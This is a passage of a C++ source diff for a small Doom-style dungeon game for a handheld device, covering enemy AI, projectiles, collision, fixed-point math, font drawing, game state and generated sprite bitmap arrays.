int16_t deltaX = Clamp(targetX - x, -maxDelta, maxDelta);
int16_t deltaY = Clamp(targetY - y, -maxDelta, maxDelta);
x += deltaX;
y += deltaY;
if(IsOverlappingEntity(Game::player))
{
if (!GetArchetype()->GetIsRanged())
{
Game::player.Damage(GetArchetype()->GetAttackStrength());
if (Game::player.hp == 0)
{
Game::stats.killedBy = type;
}
state = EnemyState::Attacking;
frameDelay = GetArchetype()->GetAttackDuration();
}
x -= deltaX;
y -= deltaY;
return false;
}
if(x == targetX && y == targetY)
{
PickNewTargetCell();
}
return true;
}
bool Enemy::FireProjectile(uint8_t angle)
{
return ProjectileManager::FireProjectile(this, x, y, angle) != nullptr;
}
bool Enemy::TryFireProjectile()
{
int8_t deltaX = (Game::player.x - x) / CELL_SIZE;
int8_t deltaY = (Game::player.y - y) / CELL_SIZE;
if (deltaX == 0)
{
if (deltaY < 0)
{
return FireProjectile(FIXED_ANGLE_270);
}
else if (deltaY > 0)
{
return FireProjectile(FIXED_ANGLE_90);
}
}
else if (deltaY == 0)
{
if (deltaX < 0)
{
return FireProjectile(FIXED_ANGLE_180);
}
else if (deltaX > 0)
{
return FireProjectile(0);
}
}
else if (deltaX == deltaY)
{
if (deltaX > 0)
{
return FireProjectile(FIXED_ANGLE_45);
}
else
{
return FireProjectile(FIXED_ANGLE_180 + FIXED_ANGLE_45);
}
}
else if (deltaX == -deltaY)
{
if (deltaX > 0)
{
return FireProjectile(FIXED_ANGLE_270 + FIXED_ANGLE_45);
}
else
{
return FireProjectile(FIXED_ANGLE_90 + FIXED_ANGLE_45);
}
}
return false;
}
bool Enemy::ShouldFireProjectile() const
{
uint8_t distance = GetPlayerCellDistance();
uint8_t chance = 16 / (distance > 0 ? distance : 1);
return GetArchetype()->GetIsRanged() && (Random() & 0xff) < chance && Map::IsClearLine(x, y, Game::player.x, Game::player.y);
}
void Enemy::Tick()
{
if (state == EnemyState::Stunned)
{
StunMove();
}
if (frameDelay > 0)
{
if ((Game::globalTickFrame & 0xf) == 0)
{
frameDelay--;
}
return;
}
switch (state)
{
case EnemyState::Idle:
if (Map::IsClearLine(x, y, Game::player.x, Game::player.y))
{
Platform::PlaySound(Sounds::SpotPlayer);
state = EnemyState::Moving;
}
break;
case EnemyState::Moving:
TryMove();
if (ShouldFireProjectile())
{
if (TryFireProjectile())
{
Platform::PlaySound(Sounds::Shoot);
state = EnemyState::Attacking;
frameDelay = GetArchetype()->GetAttackDuration();
}
}
break;
case EnemyState::Attacking:
state = EnemyState::Moving;
break;
case EnemyState::Stunned:
state = EnemyState::Moving;
break;
default:
break;
}
}
void EnemyManager::Init()
{
for (Enemy& enemy : enemies)
{
enemy.Clear();
}
}
void EnemyManager::Update()
{
for (Enemy& enemy : enemies)
{
if(enemy.IsValid())
{
enemy.Tick();
}
}
}
void EnemyManager::Draw()
{
for(Enemy& enemy : enemies)
{
if(enemy.IsValid())
{
bool invert = enemy.GetState() == EnemyState::Stunned && (Renderer::globalRenderFrame & 1);
int frameOffset = (enemy.GetType() == EnemyType::Bat || enemy.GetState() == EnemyState::Moving) && (Game::globalTickFrame & 8) == 0 ? 32 : 0;
const EnemyArchetype* archetype = enemy.GetArchetype();
Renderer::DrawObject(archetype->GetSpriteData() + frameOffset, enemy.x, enemy.y, archetype->GetSpriteScale(), archetype->GetSpriteAnchor(), invert);
}
}
}
void EnemyManager::Spawn(EnemyType enemyType, int16_t x, int16_t y)
{
for (Enemy& enemy : enemies)
{
if(!enemy.IsValid())
{
enemy.Init(enemyType, x, y);
return;
}
}
}
// Doom-like difficulty curve: early levels are mostly zombiemen,
// deeper levels bring sergeants, imps and finally demons
static EnemyType PickEnemyType()
{
uint8_t roll = (uint8_t)(Random() % 100);
uint8_t f = Game::floor;
if (f < 3)
{
if (roll < 55) return EnemyType::Spider; // zombieman
if (roll < 85) return EnemyType::Bat; // sergeant
return EnemyType::Mage; // imp
}
if (f < 6)
{
if (roll < 30) return EnemyType::Spider;
if (roll < 55) return EnemyType::Bat;
if (roll < 85) return EnemyType::Mage;
return EnemyType::Skeleton; // demon
}
if (roll < 15) return EnemyType::Spider;
if (roll < 40) return EnemyType::Bat;
if (roll < 70) return EnemyType::Mage;
return EnemyType::Skeleton;
}
void EnemyManager::SpawnEnemies()
{
for (uint8_t y = 0; y < Map::height; y++)
{
for (uint8_t x = 0; x < Map::width; x++)
{
if (Map::GetCellSafe(x, y) == CellType::Monster)
{
EnemyManager::Spawn(PickEnemyType(), x * CELL_SIZE + CELL_SIZE / 2, y * CELL_SIZE + CELL_SIZE / 2);
Map::SetCell(x, y, CellType::Empty);
break;
}
}
}
}
Enemy* EnemyManager::GetOverlappingEnemy(Entity& entity)
{
for (Enemy& enemy : enemies)
{
if (enemy.IsValid() && enemy.IsOverlappingEntity(entity))
{
return &enemy;
}
}
return nullptr;
}
Enemy* EnemyManager::GetOverlappingEnemy(int16_t x, int16_t y)
{
for (Enemy& enemy : enemies)
{
if (enemy.IsValid() && enemy.IsOverlappingPoint(x, y))
{
return &enemy;
}
}
return nullptr;
}
@@ -0,0 +1,100 @@
#pragma once
#include <stdint.h>
#include "game/Entity.h"
#include "game/Defines.h"
#include "game/Draw.h"
enum class EnemyType : uint8_t
{
Skeleton,
Mage,
Bat,
Spider,
NumEnemyTypes,
None = NumEnemyTypes,
Exit,
};
enum class EnemyState : uint8_t
{
Idle,
Moving,
Attacking,
Stunned,
Dying,
Dead
};
struct EnemyArchetype
{
const uint16_t* spriteData;
uint8_t hp;
uint8_t movementSpeed;
uint8_t attackStrength;
uint8_t attackDuration;
uint8_t stunDuration;
uint8_t isRanged;
uint8_t spriteScale;
AnchorType spriteAnchor;
const uint16_t* GetSpriteData() const {return static_cast<const uint16_t*>(pgm_read_ptr_safe(&spriteData));}
uint8_t GetHP() const { return pgm_read_byte(&hp); }
uint8_t GetMovementSpeed() const { return pgm_read_byte(&movementSpeed); }
uint8_t GetAttackStrength() const { return pgm_read_byte(&attackStrength); }
uint8_t GetAttackDuration() const { return pgm_read_byte(&attackDuration); }
uint8_t GetStunDuration() const { return pgm_read_byte(&stunDuration); }
bool GetIsRanged() const { return pgm_read_byte(&isRanged) != 0; }
uint8_t GetSpriteScale() const { return pgm_read_byte(&spriteScale); }
AnchorType GetSpriteAnchor() const { return (AnchorType) pgm_read_byte(&spriteAnchor); }
};
class Enemy : public Entity
{
public:
void Init(EnemyType type, int16_t x, int16_t y);
void Tick();
bool IsValid() const { return type != EnemyType::None; }
void Damage(uint8_t amount);
void Clear() { type = EnemyType::None; }
const EnemyArchetype* GetArchetype() const;
EnemyState GetState() const { return state; }
EnemyType GetType() const { return type; }
private:
static const EnemyArchetype archetypes[(int)EnemyType::NumEnemyTypes];
bool ShouldFireProjectile() const;
bool FireProjectile(uint8_t angle);
bool TryMove();
void StunMove();
bool TryFireProjectile();
void PickNewTargetCell();
bool TryPickCells(int8_t deltaX, int8_t deltaY);
bool TryPickCell(int8_t newX, int8_t newY);
uint8_t GetPlayerCellDistance() const;
EnemyType type : 3;
EnemyState state : 3;
uint8_t frameDelay : 2;
uint8_t hp;
uint8_t targetCellX, targetCellY;
};
class EnemyManager
{
public:
static constexpr int maxEnemies = 24; //24;
static Enemy enemies[maxEnemies];
static void Spawn(EnemyType enemyType, int16_t x, int16_t y);
static void SpawnEnemies();
static Enemy* GetOverlappingEnemy(Entity& entity);
static Enemy* GetOverlappingEnemy(int16_t x, int16_t y);
static void Init();
static void Draw();
static void Update();
};
@@ -0,0 +1,17 @@
#include "game/Entity.h"
#include "game/Game.h"
#include "game/Map.h"
#define ENTITY_SIZE 192
bool Entity::IsOverlappingEntity(const Entity& other) const
{
return (x >= other.x - ENTITY_SIZE && x <= other.x + ENTITY_SIZE
&& y >= other.y - ENTITY_SIZE && y <= other.y + ENTITY_SIZE);
}
bool Entity::IsOverlappingPoint(int16_t pointX, int16_t pointY) const
{
return (pointX >= x - ENTITY_SIZE / 2 && pointX <= x + ENTITY_SIZE / 2
&& pointY >= y - ENTITY_SIZE / 2 && pointY <= y + ENTITY_SIZE / 2);
}
@@ -0,0 +1,12 @@
#pragma once
#include <stdint.h>
class Entity
{
public:
bool IsOverlappingPoint(int16_t pointX, int16_t pointY) const;
bool IsOverlappingEntity(const Entity& other) const;
int16_t x, y;
};
@@ -0,0 +1,19 @@
// #include "FixedMath.h"
// static uint16_t xs = 1;
// uint16_t Random() {
// xs ^= xs << 7;
// xs ^= xs >> 9;
// xs ^= xs << 8;
// return xs;
// }
// void SeedRandom() {
// uint32_t r = furi_hal_random_get();
// xs = (uint16_t)(r ^ (r >> 16));
// }
// void SeedRandom(uint16_t seed) {
// xs = seed | 1;
// }
@@ -0,0 +1,46 @@
#pragma once
#include <stdint.h>
#include <furi.h>
#include <furi_hal.h>
#if defined(_WIN32)
#include <math.h>
#endif
#include "game/Defines.h"
#define FIXED_SHIFT 8
#define FIXED_ONE (1 << FIXED_SHIFT)
#define INT_TO_FIXED(x) ((x) * FIXED_ONE)
#define FIXED_TO_INT(x) ((x) >> 8)
#define FLOAT_TO_FIXED(x) ((int16_t)((x) * FIXED_ONE))
#ifndef ABS
#define ABS(x) (((x) < 0) ? -(x) : (x))
#endif
#define FIXED_ANGLE_MAX 256
#define FIXED_ANGLE_WRAP(x) ((x) & 255)
#define FIXED_ANGLE_45 (FIXED_ANGLE_90 / 2)
#define FIXED_ANGLE_90 (FIXED_ANGLE_MAX / 4)
#define FIXED_ANGLE_180 (FIXED_ANGLE_90 * 2)
#define FIXED_ANGLE_270 (FIXED_ANGLE_90 * 3)
#define FIXED_ANGLE_TO_RADIANS(x) ((x) * (2.0f * 3.141592654f / FIXED_ANGLE_MAX))
extern const int16_t sinTable[FIXED_ANGLE_MAX] PROGMEM;
inline int16_t FixedSin(uint8_t angle) {
return pgm_read_word(&sinTable[angle]);
}
inline int16_t FixedCos(uint8_t angle) {
return pgm_read_word(&sinTable[FIXED_ANGLE_WRAP(FIXED_ANGLE_90 - angle)]);
}
// uint16_t Random();
// void SeedRandom();
// void SeedRandom(uint16_t seed);
inline uint16_t Random() {
uint32_t r = furi_hal_random_get();
return (uint16_t)(r ^ (r >> 16));
}
@@ -0,0 +1,106 @@
#include <stdint.h>
#include "game/Defines.h"
#include "game/Font.h"
#include "game/Platform.h"
#include "game/Generated/SpriteTypes.h"
static inline uint8_t v3(uint8_t m)
{
return m | (m << 1) | (m >> 1);
}
static inline void apply4(uint8_t* dst, uint8_t a, uint8_t b, uint8_t c, uint8_t d, uint8_t xorMask)
{
if (xorMask)
{
dst[0] |= a;
dst[1] |= b;
dst[2] |= c;
dst[3] |= d;
}
else
{
dst[0] &= ~a;
dst[1] &= ~b;
dst[2] &= ~c;
dst[3] &= ~d;
}
}
static inline void apply1(uint8_t* dst, uint8_t m, uint8_t xorMask)
{
if (xorMask) *dst |= m;
else *dst &= ~m;
}
void Font::PrintString(const char* str, uint8_t line, uint8_t x, uint8_t colour)
{
uint8_t* p = Platform::GetScreenBuffer() + DISPLAY_WIDTH * line + x;
uint8_t xorMask = (colour == COLOUR_BLACK) ? 0 : 0xff;
for (;;)
{
char c = *str++;
if (!c) break;
DrawChar(p, c, xorMask);
p += glyphWidth;
}
}
void Font::PrintInt(uint16_t val, uint8_t line, uint8_t x, uint8_t colour)
{
uint8_t* p = Platform::GetScreenBuffer() + DISPLAY_WIDTH * line + x;
uint8_t xorMask = (colour == COLOUR_BLACK) ? 0 : 0xff;
if (val == 0)
{
DrawChar(p, '0', xorMask);
return;
}
char buf[5];
int n = 0;
while (val && n < 5)
{
buf[n++] = (char)('0' + (val % 10));
val /= 10;
}
while (n--)
{
DrawChar(p, buf[n], xorMask);
p += glyphWidth;
}
}
void Font::DrawChar(uint8_t* p, char c, uint8_t xorMask)
{
uint8_t uc = (uint8_t)c;
if (uc < firstGlyphIndex) return;
const uint8_t* f = fontPageData + glyphWidth * (uc - firstGlyphIndex);
uint8_t i0 = ~f[0];
uint8_t i1 = ~f[1];
uint8_t i2 = ~f[2];
uint8_t i3 = ~f[3];
uint8_t t0 = v3(i0 | i1);
uint8_t t1 = v3(i0 | i1 | i2);
uint8_t t2 = v3(i1 | i2 | i3);
uint8_t t3 = v3(i2 | i3);
uint8_t r0 = t0 & ~i0;
uint8_t r1 = t1 & ~i1;
uint8_t r2 = t2 & ~i2;
uint8_t r3 = t3 & ~i3;
uint8_t outlineMask = xorMask ^ 0xff;
apply1(p - 1, v3(i0), outlineMask);
apply4(p, r0, r1, r2, r3, outlineMask);
apply1(p + 4, v3(i3), outlineMask);
apply4(p, i0, i1, i2, i3, xorMask);
}
@@ -0,0 +1,21 @@
#pragma once
#include <stdint.h>
#include "game/Defines.h"
#define FONT_WIDTH 4
#define FONT_HEIGHT 6
class Font
{
public:
static constexpr int glyphWidth = 4;
static constexpr int glyphHeight = 8;
static constexpr int firstGlyphIndex = 32;
static void PrintString(const char* str, uint8_t line, uint8_t x, uint8_t colour = COLOUR_BLACK);
static void PrintInt(uint16_t value, uint8_t line, uint8_t x, uint8_t xorMask = COLOUR_BLACK);
private:
static void DrawChar(uint8_t* screenPtr, char c, uint8_t xorMask);
};
@@ -0,0 +1,166 @@
#include "game/Defines.h"
#include "game/Game.h"
#include "game/FixedMath.h"
#include "game/Draw.h"
#include "game/Map.h"
#include "game/Projectile.h"
#include "game/Particle.h"
#include "game/MapGenerator.h"
#include "game/Platform.h"
#include "game/Entity.h"
#include "game/Enemy.h"
#include "game/Menu.h"
Player Game::player;
const char* Game::displayMessage = nullptr;
uint8_t Game::displayMessageTime = 0;
Game::State Game::state = Game::State::Menu;
uint8_t Game::floor = 1;
uint8_t Game::globalTickFrame = 0;
Stats Game::stats;
Menu Game::menu;
void Game::Init() {
menu.Init();
ParticleSystemManager::Init();
ProjectileManager::Init();
EnemyManager::Init();
}
bool Game::InMenu() {
return (state != State::InGame);
}
void Game::GoToMenu() {
Game::stats.killedBy = EnemyType::Exit;
SwitchState(State::FadeOut);
}
void Game::StartGame() {
floor = 1;
stats.Reset();
player.Init();
SwitchState(State::EnteringLevel);
}
void Game::SwitchState(State newState) {
if(state != newState) {
state = newState;
menu.ResetTimer();
}
}
void Game::ShowMessage(const char* message) {
constexpr uint8_t messageDisplayTime = 90;
displayMessage = message;
displayMessageTime = messageDisplayTime;
}
void Game::NextLevel() {
if(floor == 10) {
GameOver();
} else {
floor++;
SwitchState(State::EnteringLevel);
}
}
void Game::StartLevel() {
ParticleSystemManager::Init();
ProjectileManager::Init();
EnemyManager::Init();
MapGenerator::Generate();
EnemyManager::SpawnEnemies();
player.NextLevel();
SwitchState(State::InGame);
}
void Game::Draw() {
switch(state) {
case State::Menu:
menu.Draw();
break;
case State::EnteringLevel:
menu.DrawEnteringLevel();
break;
// case State::TransitionToLevel:
// menu.TransitionToLevel();
// break;
case State::InGame: {
Renderer::camera.x = player.x;
Renderer::camera.y = player.y;
Renderer::camera.angle = player.angle;
Renderer::Render();
} break;
case State::GameOver:
menu.DrawGameOver();
break;
case State::FadeOut:
menu.FadeOut();
break;
default:
break;
}
}
void Game::TickInGame() {
if(displayMessageTime > 0) {
displayMessageTime--;
if(displayMessageTime == 0) displayMessage = nullptr;
}
player.Tick();
ProjectileManager::Update();
ParticleSystemManager::Update();
EnemyManager::Update();
if(Map::GetCellSafe(player.x / CELL_SIZE, player.y / CELL_SIZE) == CellType::Exit) {
NextLevel();
}
if(player.hp == 0) {
GameOver();
}
}
void Game::Tick() {
globalTickFrame++;
switch(state) {
case State::InGame:
TickInGame();
return;
case State::EnteringLevel:
menu.TickEnteringLevel();
return;
case State::Menu:
menu.Tick();
return;
case State::GameOver:
menu.TickGameOver();
return;
// case State::TransitionToLevel:
// return;
default:
return;
}
}
void Game::GameOver() {
SwitchState(State::FadeOut);
}
void Stats::Reset() {
killedBy = EnemyType::None;
chestsOpened = 0;
coinsCollected = 0;
crownsCollected = 0;
scrollsCollected = 0;
for(uint8_t& killCounter : enemyKills) {
killCounter = 0;
}
}
@@ -0,0 +1,63 @@
#pragma once
#include <stdint.h>
#include "game/Defines.h"
#include "game/Player.h"
#include "game/Enemy.h"
#include "game/Menu.h"
class Entity;
struct Stats {
EnemyType killedBy;
uint8_t enemyKills[(int)EnemyType::NumEnemyTypes];
uint8_t chestsOpened;
uint8_t crownsCollected;
uint8_t scrollsCollected;
uint8_t coinsCollected;
void Reset();
};
class Game {
public:
static Menu menu;
static uint8_t globalTickFrame;
enum class State : uint8_t {
Menu,
EnteringLevel,
InGame,
GameOver,
FadeOut,
// TransitionToLevel
};
static void Init();
static void Tick();
static void Draw();
static bool InMenu();
static void GoToMenu();
static void StartGame();
static void StartLevel();
static void NextLevel();
static void GameOver();
static void SwitchState(State newState);
static void ShowMessage(const char* message);
static Player player;
static const char* displayMessage;
static uint8_t displayMessageTime;
static uint8_t floor;
static Stats stats;
private:
static void TickInGame();
static State state;
};
@@ -0,0 +1,204 @@
// Auto-generated by tools/extract_doom_assets.py
// Derived at build time from the user's local Doom shareware WAD.
// Do not commit WAD-derived data to public repositories.
constexpr uint8_t skeletonSpriteData_numFrames = 2;
extern const uint16_t skeletonSpriteData[] PROGMEM =
{
0x0,0x0,0x0,0x0,0x1fc,0x144,0xffc,0xfac,0x7ffe,0x416,0x3ffe,0x2e,0x7ff,0x455,0x7fe,0x3e,
0x4ffe,0x4476,0xfffe,0x2022,0xfe3e,0x7016,0xc9fe,0x802,0x1e0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,
0x0,0x0,0x0,0x0,0x3f0,0x150,0x3fc,0x200,0x103e,0x1016,0x7ffe,0x82e,0x3ffe,0x1476,0x17ff,0x23a,
0x7ff,0x41f,0x4ffe,0x23e,0xfffe,0x7056,0xfe1e,0x2802,0x3fe,0x114,0x3f0,0x2a0,0x0,0x0,0x0,0x0
};
constexpr uint8_t mageSpriteData_numFrames = 2;
extern const uint16_t mageSpriteData[] PROGMEM =
{
0x0,0x0,0x0,0x0,0x0,0x0,0x3e0,0x0,0x78,0x8,0x38,0x8,0xbffe,0x414,0xffff,0x800a,
0x83ff,0x15,0x7ffe,0xa,0x7ff8,0x1010,0x238,0x8,0x3f0,0x10,0x1c0,0x80,0x0,0x0,0x0,0x0,
0x0,0x0,0x0,0x0,0x1e0,0x0,0x1f8,0x8,0x38,0x8,0x1ffc,0x8c,0x7fff,0x1107,0x17ff,0x8f,
0xffff,0x517,0xfff8,0xa618,0x1b8,0x8,0xf8,0xa8,0x60,0x40,0x0,0x0,0x0,0x0,0x0,0x0
};
constexpr uint8_t batSpriteData_numFrames = 2;
extern const uint16_t batSpriteData[] PROGMEM =
{
0x0,0x0,0x0,0x0,0x0,0x0,0xf8,0x20,0x1f8,0x70,0xffc,0x88,0x1fff,0x47,0xffff,0x8023,
0xfffe,0x4406,0x3f8,0x0,0x38,0x10,0x10,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,
0x0,0x0,0x0,0x0,0x0,0x0,0x60,0x20,0x1f8,0x50,0xff8,0x8,0x5fff,0x47,0x7fff,0x23,
0x7fff,0x7,0xfff8,0x0,0x378,0x10,0x78,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0
};
constexpr uint8_t spiderSpriteData_numFrames = 2;
extern const uint16_t spiderSpriteData[] PROGMEM =
{
0x0,0x0,0x0,0x0,0x78,0x50,0xf8,0x78,0x7fc,0x4c,0xfff,0xa,0xffff,0x17,0xffff,0x2a2a,
0x3ffc,0x1004,0x38,0x8,0x30,0x10,0x30,0x20,0x8,0x0,0x8,0x0,0x0,0x0,0x0,0x0,
0x0,0x0,0x0,0x0,0x60,0x40,0x1f8,0x78,0x7f8,0x58,0x1fff,0x20a,0x7fff,0x17,0x3fff,0x2a,
0xfff8,0x10,0x778,0x8,0x78,0x10,0x38,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0
};
constexpr uint8_t projectileSpriteData_numFrames = 1;
extern const uint16_t projectileSpriteData[] PROGMEM =
{
0x7e0,0x100,0x1ff8,0x2a0,0x3ffc,0x550,0x7ffe,0xaa8,0x7ffe,0x554,0xffff,0x2bea,0xffff,0x57f4,0xffff,0x2ffa,
0xffff,0x57f4,0xffff,0x2bea,0xffff,0x57d4,0x7ffe,0x2baa,0x7ffe,0x1554,0x3ffc,0xaa0,0x1ff8,0x540,0x7e0,0x280
};
constexpr uint8_t enemyProjectileSpriteData_numFrames = 1;
extern const uint16_t enemyProjectileSpriteData[] PROGMEM =
{
0x7e0,0x0,0x1ff8,0x220,0x3ffc,0x554,0x7ffe,0xaaa,0x7ffe,0x1554,0xffff,0x2fea,0xffff,0x17f4,0xffff,0x2fea,
0xffff,0x57f5,0xffff,0x2bea,0xffff,0x57f4,0x7ffe,0x2fea,0x7ffe,0x15d4,0x3ffc,0x2aa8,0x1ff8,0x550,0x7e0,0x280
};
constexpr uint8_t torchSpriteData1_numFrames = 1;
extern const uint16_t torchSpriteData1[] PROGMEM =
{
0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x8000,0x0,0xc0f0,0xc020,
0xc0f8,0x4070,0x8000,0x8000,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0
};
constexpr uint8_t torchSpriteData2_numFrames = 1;
extern const uint16_t torchSpriteData2[] PROGMEM =
{
0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x8000,0x8000,0xc070,0xc050,0xfff8,0xea38,
0xc070,0xc050,0x8000,0x8000,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0
};
constexpr uint8_t urnSpriteData_numFrames = 1;
extern const uint16_t urnSpriteData[] PROGMEM =
{
0x0,0x0,0x0,0x0,0x7ffe,0x7ffe,0xffff,0xffee,0xffff,0x5dfd,0xffff,0xaaaa,0xffff,0x5557,0xffff,0x8aa,
0xffff,0x5547,0xffff,0xb,0xffff,0x1101,0xffff,0x3,0xffff,0x1,0xffff,0x0,0x0,0x0,0x0,0x0
};
constexpr uint8_t potionSpriteData_numFrames = 1;
extern const uint16_t potionSpriteData[] PROGMEM =
{
0xfffc,0x5554,0xfffe,0xafbe,0xffff,0x575f,0xffff,0xaebf,0xffff,0x555f,0xffff,0xa2bf,0xffff,0x57f,0xffff,0x82ff,
0xffff,0x55f,0xffff,0xa2bf,0xffff,0x555f,0xffff,0xaabf,0xffff,0x575f,0xfffe,0xaebe,0xfffc,0x1554,0x0,0x0
};
constexpr uint8_t chestSpriteData_numFrames = 1;
extern const uint16_t chestSpriteData[] PROGMEM =
{
0x0,0x0,0x0,0x0,0xfffc,0x1554,0xffff,0xaebe,0xffff,0x477f,0xfffe,0xaaae,0xfffc,0x4574,0xfffc,0xa0bc,
0xfffc,0x457c,0xfffc,0xaaac,0xfffe,0x5776,0xffff,0xaabe,0xffff,0x457e,0xfffc,0x22a0,0x0,0x0,0x0,0x0
};
constexpr uint8_t chestOpenSpriteData_numFrames = 1;
extern const uint16_t chestOpenSpriteData[] PROGMEM =
{
0x0,0x0,0xfffe,0xaaaa,0xffff,0x5557,0xffff,0x2aab,0xffff,0x5,0xffff,0x28ab,0xffff,0x1557,0xffff,0x2b,
0xffff,0x1555,0xffff,0x28ab,0xffff,0x5,0xffff,0x2aab,0xffff,0x5557,0xfffe,0xaaaa,0x0,0x0,0x0,0x0
};
constexpr uint8_t scrollSpriteData_numFrames = 1;
extern const uint16_t scrollSpriteData[] PROGMEM =
{
0x3fc0,0x1540,0x7ff0,0x2aa0,0xfff8,0x5550,0xfffc,0xe2a8,0x3ffc,0x1d4,0x3ffe,0x3fa,0xfffe,0x45fc,0xfffe,0xabfe,
0xfffe,0x55fc,0xfffe,0x2bfe,0x3ffe,0x35c,0x3ffc,0x2a8,0xfffc,0xf154,0xfff8,0xaaa8,0x7ff0,0x5550,0x3fc0,0x2a80
};
constexpr uint8_t coinsSpriteData_numFrames = 1;
extern const uint16_t coinsSpriteData[] PROGMEM =
{
0x0,0x0,0x0,0x0,0x1e00,0x1000,0x3f80,0x2000,0x7fc0,0x4500,0xffc0,0x8000,0xfffe,0x4000,0xffff,0x2,
0xffff,0x15,0xfffe,0x82,0xffc0,0x540,0x7fc0,0xa80,0x3f80,0x1500,0x1e00,0x800,0x0,0x0,0x0,0x0
};
constexpr uint8_t crownSpriteData_numFrames = 1;
extern const uint16_t crownSpriteData[] PROGMEM =
{
0x300,0x100,0x380,0x380,0x780,0x180,0x1f80,0x380,0x7f80,0x4780,0xff80,0xae80,0xff80,0x5600,0xff00,0xaa00,
0xff00,0x5400,0xff80,0xaa00,0xff80,0x4700,0x7f80,0x380,0x1f80,0x580,0x780,0x380,0x380,0x180,0x300,0x200
};
constexpr uint8_t signSpriteData_numFrames = 1;
extern const uint16_t signSpriteData[] PROGMEM =
{
0x0,0x0,0xc000,0x0,0xc000,0x4000,0xc000,0x8000,0xc000,0xc000,0xc000,0x8000,0xc000,0x4000,0xc000,0x8000,
0xc000,0x4000,0xe000,0xe000,0xe000,0x4000,0xc000,0x8000,0xc000,0x4000,0xc000,0xc000,0x0,0x0,0x0,0x0
};
extern const uint8_t handSpriteData1[] PROGMEM =
{
0x2e,0x1c,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,
0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x80,0x0,0xe0,0x8,0xf8,0x4,0xfc,
0x0,0xfc,0x0,0xff,0x8,0xfc,0x4,0xfc,0x8,0xf8,0x0,0xe0,0x80,0x80,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,
0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,
0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x80,0x80,0x80,0x40,0xc0,0x80,0xc0,0x40,0xc0,0xa0,0xe0,0x40,0xe0,
0xa0,0xe0,0x10,0xf0,0x0,0xf0,0x0,0xf0,0x0,0xf8,0x10,0xfe,0x0,0xff,0x0,0xff,0x0,0xff,0x10,0xff,0x0,0xff,0x0,0xff,
0x0,0xff,0x10,0xff,0x0,0xff,0x0,0xff,0x0,0xff,0x10,0xfe,0x0,0xf8,0x10,0xf0,0x0,0xe0,0x0,0xe0,0x80,0xc0,0x0,0x80,
0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,
0x0,0x0,0x0,0xe0,0x80,0xfe,0x40,0xff,0xaa,0xff,0x55,0xff,0xaa,0xff,0x57,0xff,0x2f,0xff,0x5,0xff,0x0,0xff,0x0,0xff,
0x20,0xff,0x60,0xff,0x62,0xff,0x60,0xff,0x60,0xff,0x60,0xff,0x20,0xff,0x20,0xff,0x20,0xff,0x0,0xff,0x20,0xff,0x20,0xff,
0x20,0xff,0x60,0xff,0x60,0xff,0x60,0xff,0x22,0xff,0x60,0xff,0x20,0xff,0x50,0xff,0x0,0xff,0x1,0xff,0x0,0xfe,0x40,0xe0,
0x80,0xc0,0x0,0x80,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0xa,0xe,0x5,0xf,
0xa,0xf,0x5,0xf,0x2,0xf,0x1,0xf,0x0,0xf,0x0,0xf,0x0,0xf,0x0,0xf,0x0,0xf,0x0,0xf,0x0,0xf,0x0,0xf,
0x0,0xf,0x0,0xf,0x0,0xf,0x0,0xf,0x0,0xf,0x0,0xf,0x0,0xf,0x0,0xf,0x0,0xf,0x0,0xf,0x0,0xf,0x0,0xf,
0x0,0xf,0x0,0xf,0x0,0xf,0x0,0xf,0x0,0xf,0x0,0xf,0x0,0xf,0x0,0xf,0x0,0xf,0x0,0xf,0x0,0xf,0x0,0xf,
0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0
};
extern const uint8_t handSpriteData2[] PROGMEM =
{
0x2e,0x26,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x2,0x6,0x45,0xe7,
0xa8,0xff,0x4,0xff,0xa,0xff,0x5,0xff,0xa,0xff,0x45,0xff,0xae,0xff,0x3f,0x3f,0xf,0xf,0x3,0x3,0x0,0x0,0x0,0x0,
0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x3,0x3,0xf,0xf,0x3f,0x3f,0xae,0xff,0x45,0xff,0xa,0xff,0x4,0xff,
0xa,0xff,0x4,0xff,0xaa,0xff,0x15,0x37,0x2,0x6,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,
0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x0,0x1,0x0,0x0,
0x0,0x1,0x0,0x1,0x0,0x1,0x0,0x1,0x0,0x1,0x0,0x0,0x0,0x0,0x0,0x80,0xa0,0xe0,0x50,0xf0,0xa0,0xf0,0x44,0xfc,
0xa0,0xf0,0x50,0xf0,0xa0,0xe0,0x0,0x80,0x0,0x0,0x0,0x0,0x0,0x1,0x0,0x1,0x0,0x3,0x0,0x3,0x2,0x3,0x1,0x1,
